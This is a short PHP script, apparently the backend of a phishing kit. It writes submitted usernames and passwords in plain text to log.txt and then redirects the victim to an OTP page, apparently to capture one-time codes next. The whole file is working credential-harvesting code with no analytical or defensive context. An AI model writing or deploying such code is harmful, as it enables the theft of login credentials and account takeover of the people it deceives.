1<?php 2 3 file_put_contents("log.txt", "Username: " . $_POST['Username'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND); 4header('Location: otp.php'); 5exit(); 6 7 8